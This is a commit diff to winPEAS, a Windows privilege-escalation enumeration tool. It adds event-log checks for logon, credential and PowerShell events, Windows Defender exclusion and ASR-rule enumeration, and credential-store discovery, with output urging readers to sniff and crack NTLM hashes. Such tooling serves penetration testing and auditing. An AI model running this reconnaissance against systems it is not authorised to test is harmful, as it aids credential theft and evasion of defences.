mirror of
https://github.com/carlospolop/PEASS-ng
synced 2025-02-14 08:54:27 +01:00
- refactoring / cleanup - moved all native external methods to /Native folder/classes
- added new event checks - Explicit Logon Events, Logon Events, PowerShell Events, Process Creation Events - added PrintSecurityPackagesCredentials check - added Windows Defender enumeration
This commit is contained in:
parent
cc24db3ff5
commit
fb17429f67
@ -149,7 +149,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return HaveSameContents(a, b);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static bool AreEqual(uint[] a, uint[] b)
|
||||
{
|
||||
if (a == b)
|
||||
@ -172,7 +172,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return HaveSameContents(a, b);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static bool AreEqual(ulong[] a, ulong[] b)
|
||||
{
|
||||
if (a == b)
|
||||
@ -378,7 +378,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return hc;
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static int GetHashCode(uint[] data)
|
||||
{
|
||||
if (data == null)
|
||||
@ -396,7 +396,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return hc;
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static int GetHashCode(uint[] data, int off, int len)
|
||||
{
|
||||
if (data == null)
|
||||
@ -414,7 +414,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return hc;
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static int GetHashCode(ulong[] data)
|
||||
{
|
||||
if (data == null)
|
||||
@ -435,7 +435,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return hc;
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static int GetHashCode(ulong[] data, int off, int len)
|
||||
{
|
||||
if (data == null)
|
||||
@ -471,7 +471,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return data == null ? null : (int[])data.Clone();
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static uint[] Clone(uint[] data)
|
||||
{
|
||||
return data == null ? null : (uint[])data.Clone();
|
||||
@ -482,7 +482,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return data == null ? null : (long[])data.Clone();
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong[] Clone(ulong[] data)
|
||||
{
|
||||
return data == null ? null : (ulong[])data.Clone();
|
||||
@ -498,7 +498,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return existing;
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong[] Clone(ulong[] data, ulong[] existing)
|
||||
{
|
||||
if (data == null)
|
||||
|
@ -13,7 +13,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return ReverseBytes(i);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong Reverse(ulong i)
|
||||
{
|
||||
i = Bits.BitPermuteStepSimple(i, 0x5555555555555555UL, 1);
|
||||
@ -30,7 +30,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
RotateLeft((long)((ulong)i & 0x000000FF000000FFUL), 56);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong ReverseBytes(ulong i)
|
||||
{
|
||||
return RotateLeft(i & 0xFF000000FF000000UL, 8) |
|
||||
@ -44,7 +44,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return (i << distance) ^ (long)((ulong)i >> -distance);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong RotateLeft(ulong i, int distance)
|
||||
{
|
||||
return (i << distance) ^ (i >> -distance);
|
||||
@ -55,7 +55,7 @@ namespace winPEAS._3rdParty.BouncyCastle.crypto.util
|
||||
return (long)((ulong)i >> distance) ^ (i << -distance);
|
||||
}
|
||||
|
||||
[CLSCompliant(false)]
|
||||
//[CLSCompliant(false)]
|
||||
public static ulong RotateRight(ulong i, int distance)
|
||||
{
|
||||
return (i >> distance) ^ (i << -distance);
|
||||
|
@ -51,12 +51,14 @@ namespace winPEAS._3rdParty.SQLite.src
|
||||
{
|
||||
Debug.Assert( length == SHARED_SIZE );
|
||||
Debug.Assert( offset == SHARED_FIRST );
|
||||
System.Threading.NativeOverlapped ovlp = new System.Threading.NativeOverlapped();
|
||||
ovlp.OffsetLow = (int)offset;
|
||||
ovlp.OffsetHigh = 0;
|
||||
ovlp.EventHandle = IntPtr.Zero;
|
||||
NativeOverlapped ovlp = new System.Threading.NativeOverlapped
|
||||
{
|
||||
OffsetLow = (int)offset,
|
||||
OffsetHigh = 0,
|
||||
EventHandle = IntPtr.Zero
|
||||
};
|
||||
|
||||
return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0;
|
||||
return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0;
|
||||
}
|
||||
|
||||
public virtual void UnlockFile( sqlite3_file pFile, long offset, long length )
|
||||
@ -2054,8 +2056,8 @@ return SQLITE_OK;
|
||||
int bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE;
|
||||
StringBuilder zFullpath = new StringBuilder( MAX_PATH + 1 );
|
||||
int rc;
|
||||
bool dwRet = false;
|
||||
int dwDummy = 0;
|
||||
// bool dwRet = false;
|
||||
// int dwDummy = 0;
|
||||
|
||||
/*
|
||||
** We need to get the full path name of the file
|
||||
@ -2273,7 +2275,7 @@ n += sizeof( long );
|
||||
*/
|
||||
static int winCurrentTime( sqlite3_vfs pVfs, ref double prNow )
|
||||
{
|
||||
FILETIME ft = new FILETIME();
|
||||
//FILETIME ft = new FILETIME();
|
||||
/* FILETIME structure is a 64-bit value representing the number of
|
||||
100-nanosecond intervals since January 1, 1601 (= JD 2305813.5).
|
||||
*/
|
||||
|
@ -2252,7 +2252,7 @@ CODEC1(pPager, pData, pPg.pgno, 3, rc=SQLITE_NOMEM);
|
||||
}
|
||||
}
|
||||
/*NOTREACHED*/
|
||||
Debugger.Break();
|
||||
//Debugger.Break();
|
||||
|
||||
end_playback:
|
||||
/* Following a rollback, the database file should be back in its original
|
||||
|
@ -63,8 +63,9 @@ namespace winPEAS.Checks
|
||||
_systemChecks = new List<SystemCheck>
|
||||
{
|
||||
new SystemCheck("systeminfo", new SystemInfo()),
|
||||
new SystemCheck("eventsinfo", new EventsInfo()),
|
||||
new SystemCheck("userinfo", new UserInfo()),
|
||||
new SystemCheck("procesinfo", new ProcessInfo()),
|
||||
new SystemCheck("processinfo", new ProcessInfo()),
|
||||
new SystemCheck("servicesinfo", new ServicesInfo()),
|
||||
new SystemCheck("applicationsinfo", new ApplicationsInfo()),
|
||||
new SystemCheck("networkinfo", new NetworkInfo()),
|
||||
|
207
winPEAS/winPEASexe/winPEAS/Checks/EventsInfo.cs
Normal file
207
winPEAS/winPEASexe/winPEAS/Checks/EventsInfo.cs
Normal file
@ -0,0 +1,207 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.EventsInfo.Logon;
|
||||
using winPEAS.Info.EventsInfo.PowerShell;
|
||||
using winPEAS.Info.EventsInfo.ProcessCreation;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
{
|
||||
internal class EventsInfo : ISystemCheck
|
||||
{
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("Interesting Events information");
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintExplicitLogonEvents,
|
||||
PrintLogonEvents,
|
||||
PrintProcessCreationEvents,
|
||||
PrintPowerShellEvents
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
private static void PrintPowerShellEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("PowerShell events - script block logs (EID 4104) - searching for sensitive data.\n");
|
||||
var powerShellEventInfos = PowerShell.GetPowerShellEventInfos();
|
||||
|
||||
// TODO
|
||||
// add highlighting for interesting words
|
||||
var colors = new Dictionary<string, string>()
|
||||
{
|
||||
{ "TODO", Beaprint.ansi_color_bad }
|
||||
};
|
||||
|
||||
foreach (var info in powerShellEventInfos)
|
||||
{
|
||||
// TODO
|
||||
// formatting - try horizontal?
|
||||
Beaprint.AnsiPrint($" User Id : {info.UserId}\n" +
|
||||
$" Event Id : {info.EventId}\n" +
|
||||
$" Context : {info.Context}\n" +
|
||||
$" Created At : {info.CreatedAt}\n" +
|
||||
$" Command line : {info.Match}\n",
|
||||
colors);
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintProcessCreationEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Process creation events - searching logs (EID 4688) for sensitive data.\n");
|
||||
|
||||
if (!MyUtils.IsHighIntegrity())
|
||||
{
|
||||
Beaprint.NoColorPrint(" You must be an administrator to run this check");
|
||||
return;
|
||||
}
|
||||
|
||||
// TODO
|
||||
// formatting / highlighting?
|
||||
|
||||
foreach (var eventInfo in ProcessCreation.GetProcessCreationEventInfos())
|
||||
{
|
||||
Beaprint.BadPrint($" Created (UTC) : {eventInfo.CreatedAtUtc}\n" +
|
||||
$" Event Id : {eventInfo.EventId}\n" +
|
||||
$" User : {eventInfo.User}\n" +
|
||||
$" Command Line : {eventInfo.Match}\n");
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintLogonEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
var lastDays = 10;
|
||||
Beaprint.MainPrint($"Printing Account Logon Events (4624) for the last {lastDays} days.\n");
|
||||
|
||||
if (!MyUtils.IsHighIntegrity())
|
||||
{
|
||||
Beaprint.NoColorPrint(" You must be an administrator to run this check");
|
||||
return;
|
||||
}
|
||||
|
||||
var logonInfos = Logon.GetLogonInfos(lastDays);
|
||||
|
||||
foreach (var info in logonInfos.LogonEventInfos)
|
||||
{
|
||||
Beaprint.BadPrint($" Subject User Name : {info.SubjectUserName}\n" +
|
||||
$" Subject Domain Name : {info.SubjectDomainName}\n" +
|
||||
$" Created (Utc) : {info.CreatedAtUtc}\n" +
|
||||
$" IP Address : {info.IpAddress}\n" +
|
||||
$" Authentication Package : {info.AuthenticationPackage}\n" +
|
||||
$" Lm Package : {info.LmPackage}\n" +
|
||||
$" Logon Type : {info.LogonType}\n" +
|
||||
$" Target User Name : {info.TargetUserName}\n" +
|
||||
$" Target Domain Name : {info.TargetDomainName}\n" +
|
||||
$" Target Outbound User Name : {info.TargetOutboundUserName}\n" +
|
||||
$" Target Outbound Domain Name : {info.TargetOutboundDomainName}\n");
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
|
||||
if (logonInfos.NTLMv1LoggedUsersSet.Count > 0 || logonInfos.NTLMv2LoggedUsersSet.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" NTLM relay might be possible - other users authenticate to this machine using NTLM!");
|
||||
}
|
||||
|
||||
if (logonInfos.NTLMv1LoggedUsersSet.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" Accounts authenticate to this machine using NTLM v1!");
|
||||
Beaprint.BadPrint(" You can obtain these accounts' **NTLM** hashes by sniffing NTLM challenge/responses and then crack them!");
|
||||
Beaprint.BadPrint(" NTLM v1 authentication is broken!\n");
|
||||
|
||||
PrintUsers(logonInfos.NTLMv1LoggedUsersSet);
|
||||
}
|
||||
|
||||
if (logonInfos.NTLMv2LoggedUsersSet.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint("\n Accounts authenticate to this machine using NTLM v2!");
|
||||
Beaprint.BadPrint(" You can obtain NetNTLMv2 for these accounts by sniffing NTLM challenge/responses.");
|
||||
Beaprint.BadPrint(" You can then try and crack their passwords.\n");
|
||||
|
||||
PrintUsers(logonInfos.NTLMv2LoggedUsersSet);
|
||||
}
|
||||
|
||||
if (logonInfos.KerberosLoggedUsersSet.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint("\n The following users have authenticated to this machine using Kerberos.\n");
|
||||
PrintUsers(logonInfos.KerberosLoggedUsersSet);
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintExplicitLogonEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
var lastDays = 30;
|
||||
|
||||
Beaprint.MainPrint($"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\n");
|
||||
|
||||
if (!MyUtils.IsHighIntegrity())
|
||||
{
|
||||
Beaprint.NoColorPrint(" You must be an administrator to run this check");
|
||||
return;
|
||||
}
|
||||
|
||||
var explicitLogonInfos = Logon.GetExplicitLogonEventsInfos(lastDays);
|
||||
|
||||
foreach (var logonInfo in explicitLogonInfos)
|
||||
{
|
||||
Beaprint.BadPrint($" Subject User : {logonInfo.SubjectUser}\n" +
|
||||
$" Subject Domain : {logonInfo.SubjectDomain}\n" +
|
||||
$" Created (UTC) : {logonInfo.CreatedAtUtc}\n" +
|
||||
$" IP Address : {logonInfo.IpAddress}\n" +
|
||||
$" Process : {logonInfo.Process}\n" +
|
||||
$" Target User : {logonInfo.TargetUser}\n" +
|
||||
$" Target Domain : {logonInfo.TargetDomain}\n");
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintUsers(HashSet<string> users)
|
||||
{
|
||||
if (users == null) return;
|
||||
|
||||
var set = users.OrderBy(u => u).ToArray();
|
||||
|
||||
foreach (var user in set)
|
||||
{
|
||||
Beaprint.BadPrint($" {user}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -36,7 +36,7 @@ namespace winPEAS.Checks
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
void PrintNetShares()
|
||||
private void PrintNetShares()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -65,7 +65,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintHostsFile()
|
||||
private void PrintHostsFile()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -86,7 +86,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintNetworkIfaces()
|
||||
private void PrintNetworkIfaces()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -111,7 +111,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintListeningPorts()
|
||||
private void PrintListeningPorts()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
Dictionary<int, Process> processesByPid = processes.ToDictionary(k => k.Id, v => v);
|
||||
@ -120,7 +120,7 @@ namespace winPEAS.Checks
|
||||
PrintListeningPortsUdp(processesByPid);
|
||||
}
|
||||
|
||||
void PrintListeningPortsTcp(Dictionary<int, Process> processesByPid)
|
||||
private void PrintListeningPortsTcp(Dictionary<int, Process> processesByPid)
|
||||
{
|
||||
Beaprint.MainPrint("Current TCP Listening Ports");
|
||||
Beaprint.LinkPrint("", "Check for services restricted from the outside");
|
||||
@ -196,7 +196,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintListeningPortsUdp(Dictionary<int, Process> processesByPid)
|
||||
private void PrintListeningPortsUdp(Dictionary<int, Process> processesByPid)
|
||||
{
|
||||
Beaprint.MainPrint("Current UDP Listening Ports");
|
||||
Beaprint.LinkPrint("", "Check for services restricted from the outside");
|
||||
@ -268,7 +268,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintFirewallRules()
|
||||
private void PrintFirewallRules()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -315,7 +315,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
void PrintDNSCache()
|
||||
private void PrintDNSCache()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -2,17 +2,15 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.AppLocker;
|
||||
using winPEAS.Helpers.Search;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using System.Management;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
{
|
||||
@ -22,6 +20,26 @@ namespace winPEAS.Checks
|
||||
static string goodUAC = "PromptPermitDenyOnSecureDesktop";
|
||||
static string badLAPS = "LAPS not installed";
|
||||
|
||||
|
||||
private static readonly Dictionary<string, string> _asrGuids = new Dictionary<string, string>
|
||||
{
|
||||
{ "01443614-cd74-433a-b99e-2ecdc07bfc25" , "Block executable files from running unless they meet a prevalence, age, or trusted list criteria"},
|
||||
{ "c1db55ab-c21a-4637-bb3f-a12568109d35" , "Use advanced protection against ransomware"},
|
||||
{ "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2" , "Block credential stealing from the Windows local security authority subsystem (lsass.exe)"},
|
||||
{ "d1e49aac-8f56-4280-b9ba-993a6d77406c" , "Block process creations originating from PSExec and WMI commands"},
|
||||
{ "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4" , "Block untrusted and unsigned processes that run from USB"},
|
||||
{ "26190899-1602-49e8-8b27-eb1d0a1ce869" , "Block Office communication applications from creating child processes"},
|
||||
{ "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c" , "Block Adobe Reader from creating child processes"},
|
||||
{ "e6db77e5-3df2-4cf1-b95a-636979351e5b" , "Block persistence through WMI event subscription"},
|
||||
{ "d4f940ab-401b-4efc-aadc-ad5f3c50688a" , "Block all Office applications from creating child processes"},
|
||||
{ "5beb7efe-fd9a-4556-801d-275e5ffc04cc" , "Block execution of potentially obfuscated scripts"},
|
||||
{ "92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b" , "Block Win32 API calls from Office macro "},
|
||||
{ "3b576869-a4ec-4529-8536-b80a7769e899" , "Block Office applications from creating executable content "},
|
||||
{ "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" , "Block Office applications from injecting code into other processes"},
|
||||
{ "d3e037e1-3eb8-44c8-a917-57927947596d" , "Block JavaScript or VBScript from launching downloaded executable content"},
|
||||
{ "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"},
|
||||
};
|
||||
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("System Information");
|
||||
@ -39,6 +57,7 @@ namespace winPEAS.Checks
|
||||
PrintCredentialGuard,
|
||||
PrintCachedCreds,
|
||||
PrintAVInfo,
|
||||
PrintWindowsDefenderInfo,
|
||||
PrintUACInfo,
|
||||
PrintPSInfo,
|
||||
PrintTranscriptPS,
|
||||
@ -557,11 +576,11 @@ namespace winPEAS.Checks
|
||||
{
|
||||
foreach (var printer in Printers.GetPrinterWMIInfos())
|
||||
{
|
||||
Beaprint.BadPrint($" Name: {printer.Name}\n" +
|
||||
$" Status: {printer.Status}\n" +
|
||||
$" Sddl: {printer.Sddl}\n" +
|
||||
$" Is default: {printer.IsDefault}\n" +
|
||||
$" Is network printer: {printer.IsNetworkPrinter}\n");
|
||||
Beaprint.NoColorPrint($" Name: {printer.Name}\n" +
|
||||
$" Status: {printer.Status}\n" +
|
||||
$" Sddl: {printer.Sddl}\n" +
|
||||
$" Is default: {printer.IsDefault}\n" +
|
||||
$" Is network printer: {printer.IsNetworkPrinter}\n");
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
}
|
||||
@ -679,5 +698,104 @@ namespace winPEAS.Checks
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintWindowsDefenderInfo()
|
||||
{
|
||||
Beaprint.MainPrint("Windows Defender configuration");
|
||||
|
||||
|
||||
|
||||
void DisplayDefenderSettings(WindowsDefenderSettings settings)
|
||||
{
|
||||
var pathExclusions = settings.PathExclusions;
|
||||
var processExclusions = settings.ProcessExclusions;
|
||||
var extensionExclusions = settings.ExtensionExclusions;
|
||||
var asrSettings = settings.AsrSettings;
|
||||
|
||||
if (pathExclusions.Count != 0)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n Path Exclusions:");
|
||||
foreach (var path in pathExclusions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {path}");
|
||||
}
|
||||
}
|
||||
|
||||
if (pathExclusions.Count != 0)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n PolicyManagerPathExclusions:");
|
||||
foreach (var path in pathExclusions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {path}");
|
||||
}
|
||||
}
|
||||
|
||||
if (processExclusions.Count != 0)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n Process Exclusions");
|
||||
foreach (var process in processExclusions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {process}");
|
||||
}
|
||||
}
|
||||
|
||||
if (extensionExclusions.Count != 0)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n Extension Exclusions");
|
||||
foreach (var ext in extensionExclusions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {ext}");
|
||||
}
|
||||
}
|
||||
|
||||
if (asrSettings.Enabled)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n Attack Surface Reduction Rules:\n");
|
||||
|
||||
Beaprint.NoColorPrint($" {"State",-10} Rule\n");
|
||||
foreach (var rule in asrSettings.Rules)
|
||||
{
|
||||
string state;
|
||||
if (rule.State == 0)
|
||||
state = "Disabled";
|
||||
else if (rule.State == 1)
|
||||
state = "Blocked";
|
||||
else if (rule.State == 2)
|
||||
state = "Audited";
|
||||
else
|
||||
state = $"{rule.State} - Unknown";
|
||||
|
||||
var asrRule = _asrGuids.ContainsKey(rule.Rule.ToString())
|
||||
? _asrGuids[rule.Rule.ToString()]
|
||||
: $"{rule.Rule} - Please report this";
|
||||
|
||||
Beaprint.NoColorPrint($" {state,-10} {asrRule}");
|
||||
}
|
||||
|
||||
if (asrSettings.Exclusions.Count > 0)
|
||||
{
|
||||
Beaprint.NoColorPrint("\n ASR Exclusions:");
|
||||
foreach (var exclusion in asrSettings.Exclusions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {exclusion}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var info = WindowsDefender.GetDefenderSettingsInfo();
|
||||
|
||||
Beaprint.ColorPrint(" Local Settings", Beaprint.LBLUE);
|
||||
DisplayDefenderSettings(info.LocalSettings);
|
||||
|
||||
Beaprint.ColorPrint(" Group Policy Settings", Beaprint.LBLUE);
|
||||
DisplayDefenderSettings(info.GroupPolicySettings);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,11 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Xml;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.CredentialManager;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.KnownFileCreds.Kerberos;
|
||||
using winPEAS.KnownFileCreds.SecurityPackages;
|
||||
using winPEAS.KnownFileCreds.Vault;
|
||||
using winPEAS.Wifi.NativeWifiApi;
|
||||
|
||||
@ -19,8 +21,8 @@ namespace winPEAS.Checks
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintvaultCreds,
|
||||
PrintCredManag,
|
||||
PrintVaultCreds,
|
||||
PrintCredentialManager,
|
||||
PrintSavedRDPInfo,
|
||||
PrintRecentRunCommands,
|
||||
PrintDPAPIMasterKeys,
|
||||
@ -31,23 +33,24 @@ namespace winPEAS.Checks
|
||||
PrintWifi,
|
||||
PrintAppCmd,
|
||||
PrintSCClient,
|
||||
PrintSCCM
|
||||
PrintSCCM,
|
||||
PrintSecurityPackagesCredentials,
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
static void PrintvaultCreds()
|
||||
private static void PrintVaultCreds()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking Windows Vault");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
List<Dictionary<string, string>> vault_creds = VaultCli.DumpVault();
|
||||
var vaultCreds = VaultCli.DumpVault();
|
||||
|
||||
Dictionary<string, string> colorsC = new Dictionary<string, string>()
|
||||
var colorsC = new Dictionary<string, string>()
|
||||
{
|
||||
{ "Identity.*|Credential.*|Resource.*", Beaprint.ansi_color_bad },
|
||||
};
|
||||
Beaprint.DictPrint(vault_creds, colorsC, true, true);
|
||||
Beaprint.DictPrint(vaultCreds, colorsC, true, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -55,13 +58,13 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintCredManag()
|
||||
private static void PrintCredentialManager()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking Credential manager");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
if (winPEAS.Checks.Checks.ExecCmd)
|
||||
if (Checks.ExecCmd)
|
||||
{
|
||||
Dictionary<string, string> colorsC = new Dictionary<string, string>()
|
||||
{
|
||||
@ -137,7 +140,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintRecentRunCommands()
|
||||
private static void PrintRecentRunCommands()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -151,16 +154,17 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintDPAPIMasterKeys()
|
||||
private static void PrintDPAPIMasterKeys()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for DPAPI Master Keys");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
||||
List<Dictionary<string, string>> master_keys = KnownFileCredsInfo.ListMasterKeys();
|
||||
if (master_keys.Count != 0)
|
||||
var masterKeys = KnownFileCredsInfo.ListMasterKeys();
|
||||
|
||||
if (masterKeys.Count != 0)
|
||||
{
|
||||
Beaprint.DictPrint(master_keys, true);
|
||||
Beaprint.DictPrint(masterKeys, true);
|
||||
|
||||
if (MyUtils.IsHighIntegrity())
|
||||
{
|
||||
@ -178,15 +182,16 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintDpapiCredFiles()
|
||||
private static void PrintDpapiCredFiles()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for DPAPI Credential Files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
||||
List<Dictionary<string, string>> cred_files = KnownFileCredsInfo.GetCredFiles();
|
||||
Beaprint.DictPrint(cred_files, false);
|
||||
if (cred_files.Count != 0)
|
||||
var credFiles = KnownFileCredsInfo.GetCredFiles();
|
||||
Beaprint.DictPrint(credFiles, false);
|
||||
|
||||
if (credFiles.Count != 0)
|
||||
{
|
||||
Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the creds file");
|
||||
}
|
||||
@ -197,15 +202,17 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintRCManFiles()
|
||||
private static void PrintRCManFiles()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for RDCMan Settings Files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager", "Dump credentials from Remote Desktop Connection Manager");
|
||||
List<Dictionary<string, string>> rdc_files = RemoteDesktop.GetRDCManFiles();
|
||||
Beaprint.DictPrint(rdc_files, false);
|
||||
if (rdc_files.Count != 0)
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager",
|
||||
"Dump credentials from Remote Desktop Connection Manager");
|
||||
